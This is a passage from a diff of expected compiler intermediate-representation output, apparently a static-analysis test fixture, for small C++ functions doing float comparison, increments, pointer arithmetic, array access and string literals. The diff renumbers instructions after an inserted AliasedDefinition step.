127| r0_60(double) = Load : r0_59, m0_4 +# 127| r0_61(glval) = VariableAddress[z] : +# 127| r0_62(double) = Load : r0_61, m0_58 +# 127| r0_63(double) = Div : r0_62, r0_60 +# 127| m0_64(double) = Store : r0_61, r0_63 +# 129| r0_65(glval) = VariableAddress[x] : +# 129| r0_66(double) = Load : r0_65, m0_4 +# 129| r0_67(double) = CopyValue : r0_66 +# 129| r0_68(glval) = VariableAddress[z] : +# 129| m0_69(double) = Store : r0_68, r0_67 +# 130| r0_70(glval) = VariableAddress[x] : +# 130| r0_71(double) = Load : r0_70, m0_4 +# 130| r0_72(double) = Negate : r0_71 +# 130| r0_73(glval) = VariableAddress[z] : +# 130| m0_74(double) = Store : r0_73, r0_72 +# 131| v0_75(void) = NoOp : +# 114| v0_76(void) = ReturnVoid : +# 114| v0_77(void) = UnmodeledUse : mu* +# 114| v0_78(void) = ExitFunction : # 133| FloatCompare(double, double) -> void # 133| Block 0 # 133| v0_0(void) = EnterFunction : -# 133| mu0_1(unknown) = UnmodeledDefinition : -# 133| r0_2(glval) = VariableAddress[x] : -# 133| m0_3(double) = InitializeParameter[x] : r0_2 -# 133| r0_4(glval) = VariableAddress[y] : -# 133| m0_5(double) = InitializeParameter[y] : r0_4 -# 134| r0_6(glval) = VariableAddress[b] : -# 134| m0_7(bool) = Uninitialized : r0_6 -# 136| r0_8(glval) = VariableAddress[x] : -# 136| r0_9(double) = Load : r0_8, m0_3 -# 136| r0_10(glval) = VariableAddress[y] : -# 136| r0_11(double) = Load : r0_10, m0_5 -# 136| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 136| r0_13(glval) = VariableAddress[b] : -# 136| m0_14(bool) = Store : r0_13, r0_12 -# 137| r0_15(glval) = VariableAddress[x] : -# 137| r0_16(double) = Load : r0_15, m0_3 -# 137| r0_17(glval) = VariableAddress[y] : -# 137| r0_18(double) = Load : r0_17, m0_5 -# 137| r0_19(bool) = CompareNE : r0_16, r0_18 -# 137| r0_20(glval) = VariableAddress[b] : -# 137| m0_21(bool) = Store : r0_20, r0_19 -# 138| r0_22(glval) = VariableAddress[x] : -# 138| r0_23(double) = Load : r0_22, m0_3 -# 138| r0_24(glval) = VariableAddress[y] : -# 138| r0_25(double) = Load : r0_24, m0_5 -# 138| r0_26(bool) = CompareLT : r0_23, r0_25 -# 138| r0_27(glval) = VariableAddress[b] : -# 138| m0_28(bool) = Store : r0_27, r0_26 -# 139| r0_29(glval) = VariableAddress[x] : -# 139| r0_30(double) = Load : r0_29, m0_3 -# 139| r0_31(glval) = VariableAddress[y] : -# 139| r0_32(double) = Load : r0_31, m0_5 -# 139| r0_33(bool) = CompareGT : r0_30, r0_32 -# 139| r0_34(glval) = VariableAddress[b] : -# 139| m0_35(bool) = Store : r0_34, r0_33 -# 140| r0_36(glval) = VariableAddress[x] : -# 140| r0_37(double) = Load : r0_36, m0_3 -# 140| r0_38(glval) = VariableAddress[y] : -# 140| r0_39(double) = Load : r0_38, m0_5 -# 140| r0_40(bool) = CompareLE : r0_37, r0_39 -# 140| r0_41(glval) = VariableAddress[b] : -# 140| m0_42(bool) = Store : r0_41, r0_40 -# 141| r0_43(glval) = VariableAddress[x] : -# 141| r0_44(double) = Load : r0_43, m0_3 -# 141| r0_45(glval) = VariableAddress[y] : -# 141| r0_46(double) = Load : r0_45, m0_5 -# 141| r0_47(bool) = CompareGE : r0_44, r0_46 -# 141| r0_48(glval) = VariableAddress[b] : -# 141| m0_49(bool) = Store : r0_48, r0_47 -# 142| v0_50(void) = NoOp : -# 133| v0_51(void) = ReturnVoid : -# 133| v0_52(void) = UnmodeledUse : mu* -# 133| v0_53(void) = ExitFunction : +# 133| mu0_1(unknown) = AliasedDefinition : +# 133| mu0_2(unknown) = UnmodeledDefinition : +# 133| r0_3(glval) = VariableAddress[x] : +# 133| m0_4(double) = InitializeParameter[x] : r0_3 +# 133| r0_5(glval) = VariableAddress[y] : +# 133| m0_6(double) = InitializeParameter[y] : r0_5 +# 134| r0_7(glval) = VariableAddress[b] : +# 134| m0_8(bool) = Uninitialized[b] : r0_7 +# 136| r0_9(glval) = VariableAddress[x] : +# 136| r0_10(double) = Load : r0_9, m0_4 +# 136| r0_11(glval) = VariableAddress[y] : +# 136| r0_12(double) = Load : r0_11, m0_6 +# 136| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 136| r0_14(glval) = VariableAddress[b] : +# 136| m0_15(bool) = Store : r0_14, r0_13 +# 137| r0_16(glval) = VariableAddress[x] : +# 137| r0_17(double) = Load : r0_16, m0_4 +# 137| r0_18(glval) = VariableAddress[y] : +# 137| r0_19(double) = Load : r0_18, m0_6 +# 137| r0_20(bool) = CompareNE : r0_17, r0_19 +# 137| r0_21(glval) = VariableAddress[b] : +# 137| m0_22(bool) = Store : r0_21, r0_20 +# 138| r0_23(glval) = VariableAddress[x] : +# 138| r0_24(double) = Load : r0_23, m0_4 +# 138| r0_25(glval) = VariableAddress[y] : +# 138| r0_26(double) = Load : r0_25, m0_6 +# 138| r0_27(bool) = CompareLT : r0_24, r0_26 +# 138| r0_28(glval) = VariableAddress[b] : +# 138| m0_29(bool) = Store : r0_28, r0_27 +# 139| r0_30(glval) = VariableAddress[x] : +# 139| r0_31(double) = Load : r0_30, m0_4 +# 139| r0_32(glval) = VariableAddress[y] : +# 139| r0_33(double) = Load : r0_32, m0_6 +# 139| r0_34(bool) = CompareGT : r0_31, r0_33 +# 139| r0_35(glval) = VariableAddress[b] : +# 139| m0_36(bool) = Store : r0_35, r0_34 +# 140| r0_37(glval) = VariableAddress[x] : +# 140| r0_38(double) = Load : r0_37, m0_4 +# 140| r0_39(glval) = VariableAddress[y] : +# 140| r0_40(double) = Load : r0_39, m0_6 +# 140| r0_41(bool) = CompareLE : r0_38, r0_40 +# 140| r0_42(glval) = VariableAddress[b] : +# 140| m0_43(bool) = Store : r0_42, r0_41 +# 141| r0_44(glval) = VariableAddress[x] : +# 141| r0_45(double) = Load : r0_44, m0_4 +# 141| r0_46(glval) = VariableAddress[y] : +# 141| r0_47(double) = Load : r0_46, m0_6 +# 141| r0_48(bool) = CompareGE : r0_45, r0_47 +# 141| r0_49(glval) = VariableAddress[b] : +# 141| m0_50(bool) = Store : r0_49, r0_48 +# 142| v0_51(void) = NoOp : +# 133| v0_52(void) = ReturnVoid : +# 133| v0_53(void) = UnmodeledUse : mu* +# 133| v0_54(void) = ExitFunction : # 144| FloatCrement(float) -> void # 144| Block 0 # 144| v0_0(void) = EnterFunction : -# 144| mu0_1(unknown) = UnmodeledDefinition : -# 144| r0_2(glval) = VariableAddress[x] : -# 144| m0_3(float) = InitializeParameter[x] : r0_2 -# 145| r0_4(glval) = VariableAddress[y] : -# 145| m0_5(float) = Uninitialized : r0_4 -# 147| r0_6(glval) = VariableAddress[x] : -# 147| r0_7(float) = Load : r0_6, m0_3 -# 147| r0_8(float) = Constant[1.0] : -# 147| r0_9(float) = Add : r0_7, r0_8 -# 147| m0_10(float) = Store : r0_6, r0_9 -# 147| r0_11(glval) = VariableAddress[y] : -# 147| m0_12(float) = Store : r0_11, r0_9 -# 148| r0_13(glval) = VariableAddress[x] : -# 148| r0_14(float) = Load : r0_13, m0_10 -# 148| r0_15(float) = Constant[1.0] : -# 148| r0_16(float) = Sub : r0_14, r0_15 -# 148| m0_17(float) = Store : r0_13, r0_16 -# 148| r0_18(glval) = VariableAddress[y] : -# 148| m0_19(float) = Store : r0_18, r0_16 -# 149| r0_20(glval) = VariableAddress[x] : -# 149| r0_21(float) = Load : r0_20, m0_17 -# 149| r0_22(float) = Constant[1.0] : -# 149| r0_23(float) = Add : r0_21, r0_22 -# 149| m0_24(float) = Store : r0_20, r0_23 -# 149| r0_25(glval) = VariableAddress[y] : -# 149| m0_26(float) = Store : r0_25, r0_21 -# 150| r0_27(glval) = VariableAddress[x] : -# 150| r0_28(float) = Load : r0_27, m0_24 -# 150| r0_29(float) = Constant[1.0] : -# 150| r0_30(float) = Sub : r0_28, r0_29 -# 150| m0_31(float) = Store : r0_27, r0_30 -# 150| r0_32(glval) = VariableAddress[y] : -# 150| m0_33(float) = Store : r0_32, r0_28 -# 151| v0_34(void) = NoOp : -# 144| v0_35(void) = ReturnVoid : -# 144| v0_36(void) = UnmodeledUse : mu* -# 144| v0_37(void) = ExitFunction : +# 144| mu0_1(unknown) = AliasedDefinition : +# 144| mu0_2(unknown) = UnmodeledDefinition : +# 144| r0_3(glval) = VariableAddress[x] : +# 144| m0_4(float) = InitializeParameter[x] : r0_3 +# 145| r0_5(glval) = VariableAddress[y] : +# 145| m0_6(float) = Uninitialized[y] : r0_5 +# 147| r0_7(glval) = VariableAddress[x] : +# 147| r0_8(float) = Load : r0_7, m0_4 +# 147| r0_9(float) = Constant[1.0] : +# 147| r0_10(float) = Add : r0_8, r0_9 +# 147| m0_11(float) = Store : r0_7, r0_10 +# 147| r0_12(glval) = VariableAddress[y] : +# 147| m0_13(float) = Store : r0_12, r0_10 +# 148| r0_14(glval) = VariableAddress[x] : +# 148| r0_15(float) = Load : r0_14, m0_11 +# 148| r0_16(float) = Constant[1.0] : +# 148| r0_17(float) = Sub : r0_15, r0_16 +# 148| m0_18(float) = Store : r0_14, r0_17 +# 148| r0_19(glval) = VariableAddress[y] : +# 148| m0_20(float) = Store : r0_19, r0_17 +# 149| r0_21(glval) = VariableAddress[x] : +# 149| r0_22(float) = Load : r0_21, m0_18 +# 149| r0_23(float) = Constant[1.0] : +# 149| r0_24(float) = Add : r0_22, r0_23 +# 149| m0_25(float) = Store : r0_21, r0_24 +# 149| r0_26(glval) = VariableAddress[y] : +# 149| m0_27(float) = Store : r0_26, r0_22 +# 150| r0_28(glval) = VariableAddress[x] : +# 150| r0_29(float) = Load : r0_28, m0_25 +# 150| r0_30(float) = Constant[1.0] : +# 150| r0_31(float) = Sub : r0_29, r0_30 +# 150| m0_32(float) = Store : r0_28, r0_31 +# 150| r0_33(glval) = VariableAddress[y] : +# 150| m0_34(float) = Store : r0_33, r0_29 +# 151| v0_35(void) = NoOp : +# 144| v0_36(void) = ReturnVoid : +# 144| v0_37(void) = UnmodeledUse : mu* +# 144| v0_38(void) = ExitFunction : # 153| PointerOps(int *, int) -> void # 153| Block 0 # 153| v0_0(void) = EnterFunction : -# 153| mu0_1(unknown) = UnmodeledDefinition : -# 153| r0_2(glval) = VariableAddress[p] : -# 153| m0_3(int *) = InitializeParameter[p] : r0_2 -# 153| r0_4(glval) = VariableAddress[i] : -# 153| m0_5(int) = InitializeParameter[i] : r0_4 -# 154| r0_6(glval) = VariableAddress[q] : -# 154| m0_7(int *) = Uninitialized : r0_6 -# 155| r0_8(glval) = VariableAddress[b] : -# 155| m0_9(bool) = Uninitialized : r0_8 -# 157| r0_10(glval) = VariableAddress[p] : -# 157| r0_11(int *) = Load : r0_10, m0_3 -# 157| r0_12(glval) = VariableAddress[i] : -# 157| r0_13(int) = Load : r0_12, m0_5 -# 157| r0_14(int *) = PointerAdd[4] : r0_11, r0_13 -# 157| r0_15(glval) = VariableAddress[q] : -# 157| m0_16(int *) = Store : r0_15, r0_14 -# 158| r0_17(glval) = VariableAddress[i] : -# 158| r0_18(int) = Load : r0_17, m0_5 -# 158| r0_19(glval) = VariableAddress[p] : -# 158| r0_20(int *) = Load : r0_19, m0_3 -# 158| r0_21(int *) = PointerAdd[4] : r0_20, r0_18 -# 158| r0_22(glval) = VariableAddress[q] : -# 158| m0_23(int *) = Store : r0_22, r0_21 -# 159| r0_24(glval) = VariableAddress[p] : -# 159| r0_25(int *) = Load : r0_24, m0_3 -# 159| r0_26(glval) = VariableAddress[i] : -# 159| r0_27(int) = Load : r0_26, m0_5 -# 159| r0_28(int *) = PointerSub[4] : r0_25, r0_27 -# 159| r0_29(glval) = VariableAddress[q] : -# 159| m0_30(int *) = Store : r0_29, r0_28 -# 160| r0_31(glval) = VariableAddress[p] : -# 160| r0_32(int *) = Load : r0_31, m0_3 -# 160| r0_33(glval) = VariableAddress[q] : -# 160| r0_34(int *) = Load : r0_33, m0_30 -# 160| r0_35(long) = PointerDiff[4] : r0_32, r0_34 -# 160| r0_36(int) = Convert : r0_35 -# 160| r0_37(glval) = VariableAddress[i] : -# 160| m0_38(int) = Store : r0_37, r0_36 -# 162| r0_39(glval) = VariableAddress[p] : -# 162| r0_40(int *) = Load : r0_39, m0_3 -# 162| r0_41(glval) = VariableAddress[q] : -# 162| m0_42(int *) = Store : r0_41, r0_40 -# 164| r0_43(glval) = VariableAddress[i] : -# 164| r0_44(int) = Load : r0_43, m0_38 -# 164| r0_45(glval) = VariableAddress[q] : -# 164| r0_46(int *) = Load : r0_45, m0_42 -# 164| r0_47(int *) = PointerAdd[4] : r0_46, r0_44 -# 164| m0_48(int *) = Store : r0_45, r0_47 -# 165| r0_49(glval) = VariableAddress[i] : -# 165| r0_50(int) = Load : r0_49, m0_38 -# 165| r0_51(glval) = VariableAddress[q] : -# 165| r0_52(int *) = Load : r0_51, m0_48 -# 165| r0_53(int *) = PointerSub[4] : r0_52, r0_50 -# 165| m0_54(int *) = Store : r0_51, r0_53 -# 167| r0_55(glval) = VariableAddress[p] : -# 167| r0_56(int *) = Load : r0_55, m0_3 -# 167| r0_57(int *) = Constant[0] : -# 167| r0_58(bool) = CompareNE : r0_56, r0_57 -# 167| r0_59(glval) = VariableAddress[b] : -# 167| m0_60(bool) = Store : r0_59, r0_58 -# 168| r0_61(glval) = VariableAddress[p] : -# 168| r0_62(int *) = Load : r0_61, m0_3 -# 168| r0_63(int *) = Constant[0] : -# 168| r0_64(bool) = CompareNE : r0_62, r0_63 -# 168| r0_65(bool) = LogicalNot : r0_64 -# 168| r0_66(glval) = VariableAddress[b] : -# 168| m0_67(bool) = Store : r0_66, r0_65 -# 169| v0_68(void) = NoOp : -# 153| v0_69(void) = ReturnVoid : -# 153| v0_70(void) = UnmodeledUse : mu* -# 153| v0_71(void) = ExitFunction : +# 153| mu0_1(unknown) = AliasedDefinition : +# 153| mu0_2(unknown) = UnmodeledDefinition : +# 153| r0_3(glval) = VariableAddress[p] : +# 153| m0_4(int *) = InitializeParameter[p] : r0_3 +# 153| r0_5(glval) = VariableAddress[i] : +# 153| m0_6(int) = InitializeParameter[i] : r0_5 +# 154| r0_7(glval) = VariableAddress[q] : +# 154| m0_8(int *) = Uninitialized[q] : r0_7 +# 155| r0_9(glval) = VariableAddress[b] : +# 155| m0_10(bool) = Uninitialized[b] : r0_9 +# 157| r0_11(glval) = VariableAddress[p] : +# 157| r0_12(int *) = Load : r0_11, m0_4 +# 157| r0_13(glval) = VariableAddress[i] : +# 157| r0_14(int) = Load : r0_13, m0_6 +# 157| r0_15(int *) = PointerAdd[4] : r0_12, r0_14 +# 157| r0_16(glval) = VariableAddress[q] : +# 157| m0_17(int *) = Store : r0_16, r0_15 +# 158| r0_18(glval) = VariableAddress[i] : +# 158| r0_19(int) = Load : r0_18, m0_6 +# 158| r0_20(glval) = VariableAddress[p] : +# 158| r0_21(int *) = Load : r0_20, m0_4 +# 158| r0_22(int *) = PointerAdd[4] : r0_21, r0_19 +# 158| r0_23(glval) = VariableAddress[q] : +# 158| m0_24(int *) = Store : r0_23, r0_22 +# 159| r0_25(glval) = VariableAddress[p] : +# 159| r0_26(int *) = Load : r0_25, m0_4 +# 159| r0_27(glval) = VariableAddress[i] : +# 159| r0_28(int) = Load : r0_27, m0_6 +# 159| r0_29(int *) = PointerSub[4] : r0_26, r0_28 +# 159| r0_30(glval) = VariableAddress[q] : +# 159| m0_31(int *) = Store : r0_30, r0_29 +# 160| r0_32(glval) = VariableAddress[p] : +# 160| r0_33(int *) = Load : r0_32, m0_4 +# 160| r0_34(glval) = VariableAddress[q] : +# 160| r0_35(int *) = Load : r0_34, m0_31 +# 160| r0_36(long) = PointerDiff[4] : r0_33, r0_35 +# 160| r0_37(int) = Convert : r0_36 +# 160| r0_38(glval) = VariableAddress[i] : +# 160| m0_39(int) = Store : r0_38, r0_37 +# 162| r0_40(glval) = VariableAddress[p] : +# 162| r0_41(int *) = Load : r0_40, m0_4 +# 162| r0_42(glval) = VariableAddress[q] : +# 162| m0_43(int *) = Store : r0_42, r0_41 +# 164| r0_44(glval) = VariableAddress[i] : +# 164| r0_45(int) = Load : r0_44, m0_39 +# 164| r0_46(glval) = VariableAddress[q] : +# 164| r0_47(int *) = Load : r0_46, m0_43 +# 164| r0_48(int *) = PointerAdd[4] : r0_47, r0_45 +# 164| m0_49(int *) = Store : r0_46, r0_48 +# 165| r0_50(glval) = VariableAddress[i] : +# 165| r0_51(int) = Load : r0_50, m0_39 +# 165| r0_52(glval) = VariableAddress[q] : +# 165| r0_53(int *) = Load : r0_52, m0_49 +# 165| r0_54(int *) = PointerSub[4] : r0_53, r0_51 +# 165| m0_55(int *) = Store : r0_52, r0_54 +# 167| r0_56(glval) = VariableAddress[p] : +# 167| r0_57(int *) = Load : r0_56, m0_4 +# 167| r0_58(int *) = Constant[0] : +# 167| r0_59(bool) = CompareNE : r0_57, r0_58 +# 167| r0_60(glval) = VariableAddress[b] : +# 167| m0_61(bool) = Store : r0_60, r0_59 +# 168| r0_62(glval) = VariableAddress[p] : +# 168| r0_63(int *) = Load : r0_62, m0_4 +# 168| r0_64(int *) = Constant[0] : +# 168| r0_65(bool) = CompareNE : r0_63, r0_64 +# 168| r0_66(bool) = LogicalNot : r0_65 +# 168| r0_67(glval) = VariableAddress[b] : +# 168| m0_68(bool) = Store : r0_67, r0_66 +# 169| v0_69(void) = NoOp : +# 153| v0_70(void) = ReturnVoid : +# 153| v0_71(void) = UnmodeledUse : mu* +# 153| v0_72(void) = ExitFunction : # 171| ArrayAccess(int *, int) -> void # 171| Block 0 # 171| v0_0(void) = EnterFunction : -# 171| mu0_1(unknown) = UnmodeledDefinition : -# 171| r0_2(glval) = VariableAddress[p] : -# 171| m0_3(int *) = InitializeParameter[p] : r0_2 -# 171| r0_4(glval) = VariableAddress[i] : -# 171| m0_5(int) = InitializeParameter[i] : r0_4 -# 172| r0_6(glval) = VariableAddress[x] : -# 172| m0_7(int) = Uninitialized : r0_6 -# 174| r0_8(glval) = VariableAddress[p] : -# 174| r0_9(int *) = Load : r0_8, m0_3 -# 174| r0_10(glval) = VariableAddress[i] : -# 174| r0_11(int) = Load : r0_10, m0_5 -# 174| r0_12(int *) = PointerAdd[4] : r0_9, r0_11 -# 174| r0_13(int) = Load : r0_12, mu0_1 -# 174| r0_14(glval) = VariableAddress[x] : -# 174| m0_15(int) = Store : r0_14, r0_13 -# 175| r0_16(glval) = VariableAddress[p] : -# 175| r0_17(int *) = Load : r0_16, m0_3 -# 175| r0_18(glval) = VariableAddress[i] : -# 175| r0_19(int) = Load : r0_18, m0_5 -# 175| r0_20(int *) = PointerAdd[4] : r0_17, r0_19 -# 175| r0_21(int) = Load : r0_20, mu0_1 -# 175| r0_22(glval) = VariableAddress[x] : -# 175| m0_23(int) = Store : r0_22, r0_21 -# 177| r0_24(glval) = VariableAddress[x] : -# 177| r0_25(int) = Load : r0_24, m0_23 -# 177| r0_26(glval) = VariableAddress[p] : -# 177| r0_27(int *) = Load : r0_26, m0_3 -# 177| r0_28(glval) = VariableAddress[i] : -# 177| r0_29(int) = Load : r0_28, m0_5 -# 177| r0_30(int *) = PointerAdd[4] : r0_27, r0_29 -# 177| mu0_31(int) = Store : r0_30, r0_25 -# 178| r0_32(glval) = VariableAddress[x] : -# 178| r0_33(int) = Load : r0_32, m0_23 -# 178| r0_34(glval) = VariableAddress[p] : -# 178| r0_35(int *) = Load : r0_34, m0_3 -# 178| r0_36(glval) = VariableAddress[i] : -# 178| r0_37(int) = Load : r0_36, m0_5 -# 178| r0_38(int *) = PointerAdd[4] : r0_35, r0_37 -# 178| mu0_39(int) = Store : r0_38, r0_33 -# 180| r0_40(glval) = VariableAddress[a] : -# 180| m0_41(int[10]) = Uninitialized : r0_40 -# 181| r0_42(glval) = VariableAddress[a] : -# 181| r0_43(int *) = Convert : r0_42 -# 181| r0_44(glval) = VariableAddress[i] : -# 181| r0_45(int) = Load : r0_44, m0_5 -# 181| r0_46(int *) = PointerAdd[4] : r0_43, r0_45 -# 181| r0_47(int) = Load : r0_46, mu0_1 -# 181| r0_48(glval) = VariableAddress[x] : -# 181| m0_49(int) = Store : r0_48, r0_47 -# 182| r0_50(glval) = VariableAddress[a] : -# 182| r0_51(int *) = Convert : r0_50 -# 182| r0_52(glval) = VariableAddress[i] : -# 182| r0_53(int) = Load : r0_52, m0_5 -# 182| r0_54(int *) = PointerAdd[4] : r0_51, r0_53 -# 182| r0_55(int) = Load : r0_54, mu0_1 -# 182| r0_56(glval) = VariableAddress[x] : -# 182| m0_57(int) = Store : r0_56, r0_55 -# 183| r0_58(glval) = VariableAddress[x] : -# 183| r0_59(int) = Load : r0_58, m0_57 -# 183| r0_60(glval) = VariableAddress[a] : -# 183| r0_61(int *) = Convert : r0_60 -# 183| r0_62(glval) = VariableAddress[i] : -# 183| r0_63(int) = Load : r0_62, m0_5 -# 183| r0_64(int *) = PointerAdd[4] : r0_61, r0_63 -# 183| mu0_65(int) = Store : r0_64, r0_59 -# 184| r0_66(glval) = VariableAddress[x] : -# 184| r0_67(int) = Load : r0_66, m0_57 -# 184| r0_68(glval) = VariableAddress[a] : -# 184| r0_69(int *) = Convert : r0_68 -# 184| r0_70(glval) = VariableAddress[i] : -# 184| r0_71(int) = Load : r0_70, m0_5 -# 184| r0_72(int *) = PointerAdd[4] : r0_69, r0_71 -# 184| mu0_73(int) = Store : r0_72, r0_67 -# 185| v0_74(void) = NoOp : -# 171| v0_75(void) = ReturnVoid : -# 171| v0_76(void) = UnmodeledUse : mu* -# 171| v0_77(void) = ExitFunction : +# 171| mu0_1(unknown) = AliasedDefinition : +# 171| mu0_2(unknown) = UnmodeledDefinition : +# 171| r0_3(glval) = VariableAddress[p] : +# 171| m0_4(int *) = InitializeParameter[p] : r0_3 +# 171| r0_5(glval) = VariableAddress[i] : +# 171| m0_6(int) = InitializeParameter[i] : r0_5 +# 172| r0_7(glval) = VariableAddress[x] : +# 172| m0_8(int) = Uninitialized[x] : r0_7 +# 174| r0_9(glval) = VariableAddress[p] : +# 174| r0_10(int *) = Load : r0_9, m0_4 +# 174| r0_11(glval) = VariableAddress[i] : +# 174| r0_12(int) = Load : r0_11, m0_6 +# 174| r0_13(int *) = PointerAdd[4] : r0_10, r0_12 +# 174| r0_14(int) = Load : r0_13, mu0_2 +# 174| r0_15(glval) = VariableAddress[x] : +# 174| m0_16(int) = Store : r0_15, r0_14 +# 175| r0_17(glval) = VariableAddress[p] : +# 175| r0_18(int *) = Load : r0_17, m0_4 +# 175| r0_19(glval) = VariableAddress[i] : +# 175| r0_20(int) = Load : r0_19, m0_6 +# 175| r0_21(int *) = PointerAdd[4] : r0_18, r0_20 +# 175| r0_22(int) = Load : r0_21, mu0_2 +# 175| r0_23(glval) = VariableAddress[x] : +# 175| m0_24(int) = Store : r0_23, r0_22 +# 177| r0_25(glval) = VariableAddress[x] : +# 177| r0_26(int) = Load : r0_25, m0_24 +# 177| r0_27(glval) = VariableAddress[p] : +# 177| r0_28(int *) = Load : r0_27, m0_4 +# 177| r0_29(glval) = VariableAddress[i] : +# 177| r0_30(int) = Load : r0_29, m0_6 +# 177| r0_31(int *) = PointerAdd[4] : r0_28, r0_30 +# 177| mu0_32(int) = Store : r0_31, r0_26 +# 178| r0_33(glval) = VariableAddress[x] : +# 178| r0_34(int) = Load : r0_33, m0_24 +# 178| r0_35(glval) = VariableAddress[p] : +# 178| r0_36(int *) = Load : r0_35, m0_4 +# 178| r0_37(glval) = VariableAddress[i] : +# 178| r0_38(int) = Load : r0_37, m0_6 +# 178| r0_39(int *) = PointerAdd[4] : r0_36, r0_38 +# 178| mu0_40(int) = Store : r0_39, r0_34 +# 180| r0_41(glval) = VariableAddress[a] : +# 180| m0_42(int[10]) = Uninitialized[a] : r0_41 +# 181| r0_43(glval) = VariableAddress[a] : +# 181| r0_44(int *) = Convert : r0_43 +# 181| r0_45(glval) = VariableAddress[i] : +# 181| r0_46(int) = Load : r0_45, m0_6 +# 181| r0_47(int *) = PointerAdd[4] : r0_44, r0_46 +# 181| r0_48(int) = Load : r0_47, mu0_2 +# 181| r0_49(glval) = VariableAddress[x] : +# 181| m0_50(int) = Store : r0_49, r0_48 +# 182| r0_51(glval) = VariableAddress[a] : +# 182| r0_52(int *) = Convert : r0_51 +# 182| r0_53(glval) = VariableAddress[i] : +# 182| r0_54(int) = Load : r0_53, m0_6 +# 182| r0_55(int *) = PointerAdd[4] : r0_52, r0_54 +# 182| r0_56(int) = Load : r0_55, mu0_2 +# 182| r0_57(glval) = VariableAddress[x] : +# 182| m0_58(int) = Store : r0_57, r0_56 +# 183| r0_59(glval) = VariableAddress[x] : +# 183| r0_60(int) = Load : r0_59, m0_58 +# 183| r0_61(glval) = VariableAddress[a] : +# 183| r0_62(int *) = Convert : r0_61 +# 183| r0_63(glval) = VariableAddress[i] : +# 183| r0_64(int) = Load : r0_63, m0_6 +# 183| r0_65(int *) = PointerAdd[4] : r0_62, r0_64 +# 183| mu0_66(int) = Store : r0_65, r0_60 +# 184| r0_67(glval) = VariableAddress[x] : +# 184| r0_68(int) = Load : r0_67, m0_58 +# 184| r0_69(glval) = VariableAddress[a] : +# 184| r0_70(int *) = Convert : r0_69 +# 184| r0_71(glval) = VariableAddress[i] : +# 184| r0_72(int) = Load : r0_71, m0_6 +# 184| r0_73(int *) = PointerAdd[4] : r0_70, r0_72 +# 184| mu0_74(int) = Store : r0_73, r0_68 +# 185| v0_75(void) = NoOp : +# 171| v0_76(void) = ReturnVoid : +# 171| v0_77(void) = UnmodeledUse : mu* +# 171| v0_78(void) = ExitFunction : # 187| StringLiteral(int) -> void # 187| Block 0 # 187| v0_0(void) = EnterFunction : -# 187| mu0_1(unknown) = UnmodeledDefinition : -# 187| r0_2(glval) = VariableAddress[i] : -# 187| m0_3(int) = InitializeParameter[i] : r0_2 -# 188| r0_4(glval) = VariableAddress[c] : -# 188| r0_5(glval) = StringConstant["Foo"] : -# 188| r0_6(char *) = Convert : r0_5 -# 188| r0_7(glval) = VariableAddress[i] : -# 188| r0_8(int) = Load : r0_7, m0_3 -# 188| r0_9(char *) = PointerAdd[1] : r0_6, r0_8 -# 188| r0_10(char) = Load : r0_9, mu0_1 -# 188| m0_11(char) = Store : r0_4, r0_10 -# 189| r0_12(glval) = VariableAddress[pwc] : -# 189| r0_13(glval) = StringConstant[L"Bar"] : -# 189| r0_14(wchar_t *) = Convert : r0_13 +# 187| mu0_1(unknown) = AliasedDefinition : +# 187| mu0_2(unknown) = UnmodeledDefinition : +# 187| r0_3(glval) = VariableAddress[i] : +# 187| m0_4(int) = InitializeParameter[i] : r0_3 +# 188| r0_5(glval) = VariableAddress[c] : +# 188| r0_6(glval) = StringConstant["Foo"] : +# 188| r0_7(char *) = Convert : r0_6 +# 188| r0_8(glval) = VariableAddress[i] : +# 188| r0_9(int) = Load : r0_8, m0_4 +# 188| r0_10(char *) = PointerAdd[1] : r0_7, r0_9 +# 188| r0_11(char) = Load : r0_10, mu0_2 +# 188| m0_12(char) = Store : r0_5, r0_11 +# 189| r0_13(glval) = VariableAddress[pwc] : +# 189| r0_14(glval) = StringConstant[L"Bar"] : # 189| r0_15(wchar_t *) = Convert : r0_14 -# 189| m0_16(wchar_t *) = Store : r0_12, r0_15 -# 190| r0_17(glval) = VariableAddress[wc] : -# 190| r0_18(glval) = VariableAddress[pwc] : -# 190| r0_19(wchar_t *) = Load : r0_18, m0_16 -# 190| r0_20(glval) = VariableAddress[i] : -# 190| r0_21(int) = Load : r0_20, m0_3 -# 190| r0_22(wchar_t *) = PointerAdd[4] : r0_19, r0_21 -# 190| r0_23(wchar_t) = Load : r0_22, mu0_1 -# 190| m0_24(wchar_t) = Store : r0_17, r0_23 -# 191| v0_25(void) = NoOp : -# 187| v0_26(void) = ReturnVoid : -# 187| v0_27(void) = UnmodeledUse : mu* -# 187| v0_28(void) = ExitFunction : +# 189| r0_16(wchar_t *) = Convert : r0_15 +# 189| m0_17(wchar_t *) = Store : r0_13, r0_16 +# 190| r0_18(glval) = VariableAddress[wc] : +# 190| r0_19(glval) = VariableAddress[pwc] : +# 190| r0_20(wchar_t *) = Load : r0_19, m0_17 +# 190| r0_21(glval) = VariableAddress[i] : +# 190| r0_22(int) = Load : r0_21, m0_4 +# 190| r0_23(wchar_t *) = PointerAdd[4] : r0_20, r0_22 +# 190| r0_24(wchar_t) = Load : r0_23, mu0_2 +# 190| m0_25(wchar_t) = Store : r0_18, r0_24 +# 191| v0_26(void) = NoOp : +# 187| v0_27(void) = ReturnVoid : +# 187| v0_28(void) = UnmodeledUse : mu* +# 187| v0_29(void) = ExitFunction : # 193| PointerCompare(int *, int *) -> void # 193| Block 0 # 193| v0_0(void) = EnterFunction : -# 193| mu0_1(unknown) = UnmodeledDefinition : -# 193| r0_2(glval) = VariableAddress[p] : -# 193| m0_3(int *) = InitializeParameter[p] : r0_2 -# 193| r0_4(glval) = VariableAddress[q] : -# 193| m0_5(int *) = InitializeParameter[q] : r0_4 -# 194| r0_6(glval) = VariableAddress[b] : -# 194| m0_7(bool) = Uninitialized : r0_6 -# 196| r0_8(glval) = VariableAddress[p] : -# 196| r0_9(int *) = Load : r0_8, m0_3 -# 196| r0_10(glval) = VariableAddress[q] : -# 196| r0_11(int *) = Load : r0_10, m0_5 -# 196| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 196| r0_13(glval) = VariableAddress[b] : -# 196| m0_14(bool) = Store : r0_13, r0_12 -# 197| r0_15(glval) = VariableAddress[p] : -# 197| r0_16(int *) = Load : r0_15, m0_3 -# 197| r0_17(glval) = VariableAddress[q] : -# 197| r0_18(int *) = 